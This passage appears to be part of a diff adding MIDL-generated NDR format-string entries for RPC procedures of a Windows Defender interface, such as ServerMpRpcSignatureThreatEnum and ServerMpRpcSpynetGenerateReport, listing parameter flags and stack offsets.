*/ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 2940 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 2942 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2944 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 2946 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 2948 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2950 */ NdrFcShort( 0x606 ), /* Type Offset=1542 */ + + /* Parameter arg_2 */ + +/* 2952 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2954 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2956 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2958 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2960 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2962 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc52_ServerMpRpcSignatureThreatOpen */ + +/* 2964 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 2966 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2970 */ NdrFcShort( 0x34 ), /* 52 */ +/* 2972 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 2974 */ NdrFcShort( 0x10 ), /* 16 */ +/* 2976 */ NdrFcShort( 0x5c ), /* 92 */ +/* 2978 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 2980 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2982 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2984 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2986 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2988 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2990 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2992 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2994 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 2996 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2998 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3000 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 3002 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 3004 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3006 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_4 */ + +/* 3008 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3010 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3012 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3014 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3016 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3018 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc53_ServerMpRpcSignatureThreatEnum */ + +/* 3020 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3022 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3026 */ NdrFcShort( 0x35 ), /* 53 */ +/* 3028 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 3030 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 3032 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3034 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 3036 */ NdrFcShort( 0x2c ), /* 44 */ +/* 3038 */ NdrFcShort( 0x24 ), /* 36 */ +/* 3040 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 3042 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 3044 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3046 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3048 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3050 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 3052 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 3054 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3056 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 3058 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 3060 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3062 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 3064 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 3066 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3068 */ NdrFcShort( 0x406 ), /* Type Offset=1030 */ + + /* Parameter arg_3 */ + +/* 3070 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3072 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3074 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3076 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3078 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3080 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc54_ServerMpRpcSignatureThreatClose */ + +/* 3082 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3084 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3088 */ NdrFcShort( 0x36 ), /* 54 */ +/* 3090 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3092 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 3094 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3096 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 3098 */ NdrFcShort( 0x38 ), /* 56 */ +/* 3100 */ NdrFcShort( 0x5c ), /* 92 */ +/* 3102 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 3104 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 3106 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3108 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3110 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3112 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 3114 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 3116 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3118 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 3120 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3122 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3124 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3126 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3128 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3130 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc55_ServerMpRpcGetSampleInfo */ + +/* 3132 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3134 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3138 */ NdrFcShort( 0x37 ), /* 55 */ +/* 3140 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 3142 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 3144 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3146 */ NdrFcShort( 0x4c ), /* 76 */ +/* 3148 */ NdrFcShort( 0x24 ), /* 36 */ +/* 3150 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 3152 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 3154 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3156 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3158 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3160 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 3162 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 3164 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3166 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 3168 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 3170 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3172 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_3 */ + +/* 3174 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 3176 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3178 */ NdrFcShort( 0x60a ), /* Type Offset=1546 */ + + /* Parameter arg_4 */ + +/* 3180 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3182 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3184 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3186 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3188 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 3190 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc56_ServerMpRpcQueryScansWithSamples */ + +/* 3192 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3194 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3198 */ NdrFcShort( 0x38 ), /* 56 */ +/* 3200 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 3202 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 3204 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3206 */ NdrFcShort( 0x8 ), /* 8 */ +/* 3208 */ NdrFcShort( 0x40 ), /* 64 */ +/* 3210 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 3212 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 3214 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3216 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3218 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3220 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 3222 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 3224 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3226 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 3228 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3230 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3232 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 3234 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 3236 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3238 */ NdrFcShort( 0x65c ), /* Type Offset=1628 */ + + /* Parameter arg_4 */ + +/* 3240 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3242 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3244 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3246 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3248 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 3250 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc57_ServerMpRpcDropScansWithSamples */ + +/* 3252 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3254 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3258 */ NdrFcShort( 0x39 ), /* 57 */ +/* 3260 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 3262 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 3264 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3266 */ NdrFcShort( 0x10 ), /* 16 */ +/* 3268 */ NdrFcShort( 0x24 ), /* 36 */ +/* 3270 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 3272 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 3274 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3276 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3278 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3280 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 3282 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 3284 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3286 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 3288 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 3290 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3292 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 3294 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 3296 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3298 */ NdrFcShort( 0x67e ), /* Type Offset=1662 */ + + /* Parameter arg_4 */ + +/* 3300 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3302 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3304 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3306 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3308 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 3310 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc58_ServerMpRpcSpynetQueueCreate */ + +/* 3312 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 3314 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3318 */ NdrFcShort( 0x3a ), /* 58 */ +/* 3320 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 3322 */ NdrFcShort( 0x4c ), /* 76 */ +/* 3324 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 3326 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x6, /* 6 */ +/* 3328 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 3330 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3332 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3334 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3336 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 3338 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 3340 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3342 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 3344 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 3346 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3348 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 3350 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 3352 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3354 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_4 */ + +/* 3356 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 3358 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3360 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_5 */ + +/* 3362 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3364 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3366 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3368 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3370 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 3372 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc59_ServerMpRpcSpynetQueueQueryNotification */ + +/* 3374 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3376 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3380 */ NdrFcShort( 0x3b ), /* 59 */ +/* 3382 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 3384 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 3386 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3388 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 3390 */ NdrFcShort( 0x24 ), /* 36 */ +/* 3392 */ NdrFcShort( 0x78 ), /* 120 */ +/* 3394 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 3396 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 3398 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3400 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3402 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3404 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 3406 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 3408 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3410 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 3412 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 3414 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3416 */ NdrFcShort( 0x402 ), /* Type Offset=1026 */ + + /* Parameter arg_2 */ + +/* 3418 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3420 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3422 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 3424 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3426 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3428 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3430 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3432 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3434 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc60_ServerMpRpcSpynetQueueClose */ + +/* 3436 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3438 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3442 */ NdrFcShort( 0x3c ), /* 60 */ +/* 3444 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3446 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 3448 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3450 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 3452 */ NdrFcShort( 0x38 ), /* 56 */ +/* 3454 */ NdrFcShort( 0x5c ), /* 92 */ +/* 3456 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 3458 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 3460 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3462 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3464 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3466 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 3468 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 3470 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3472 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 3474 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3476 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3478 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3480 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3482 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3484 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc61_ServerMpRpcSpynetGenerateReport */ + +/* 3486 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3488 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3492 */ NdrFcShort( 0x3d ), /* 61 */ +/* 3494 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 3496 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 3498 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3500 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 3502 */ NdrFcShort( 0x24 ), /* 36 */ +/* 3504 */ NdrFcShort( 0xc8 ), /* 200 */ +/* 3506 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x8, /* 8 */ +/* 3508 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 3510 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3512 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3514 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3516 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 3518 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 3520 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3522 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 3524 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3526 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3528 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 3530 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 3532 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3534 */ NdrFcShort( 0x694 ), /* Type Offset=1684 */ + + /* Parameter arg_3 */ + +/* 3536 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3538 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3540 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 3542 */ NdrFcShort( 0x2112 ), /* Flags: must free, out, simple ref, srv alloc size=8 */ +/* 3544 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3546 */ NdrFcShort( 0x6e ), /* Type Offset=110 */ + + /* Parameter arg_5 */ + +/* 3548 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 3550 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 3552 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_6 */ + +/* 3554 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3556 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 3558 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3560 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3562 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 3564 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc62_ServerMpRpcSenseGenerateReport */ + +/* 3566 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3568 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3572 */ NdrFcShort( 0x3e ), /* 62 */ +/* 3574 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 3576 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 3578 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3580 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 3582 */ NdrFcShort( 0x24 ), /* 36 */ +/* 3584 */ NdrFcShort( 0x40 ), /* 64 */ +/* 3586 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 3588 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 3590 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3592 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3594 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3596 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 3598 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 3600 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3602 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 3604 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3606 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 3608 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 3610 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 3612 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 3614 */ NdrFcShort( 0x694 ), /* Type Offset=1684 */ + + /* Parameter arg_3 */ + +/* 3616 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 3618 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 3620 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 3622 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 3624 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 3626 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc63_ServerMpRpcSpynetOnResponse */ + +/* 3628 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 3630 */ NdrFcLong( 0x0 ), /* 0 */ +/* 3634 */ NdrFcShort( 0x3f ), /* 63 */ +/* 3636 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 3638 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 3640 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 3642 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 3644 */ NdrFcShort( 0x34 ), /* 52 */ +/* 3646 */ NdrFcShort( 0x40 ), /* 64 */ +/* 3648 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0x9, /* 9 */ +/* 3650 */ 0xa, /* 10 */ + 0x7, /* Ext Flags: new corr desc, clt corr check, srv corr check, */ +/* 3652 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3654 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3656 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3658 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 3660 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 3662 */ NdrFcShort( 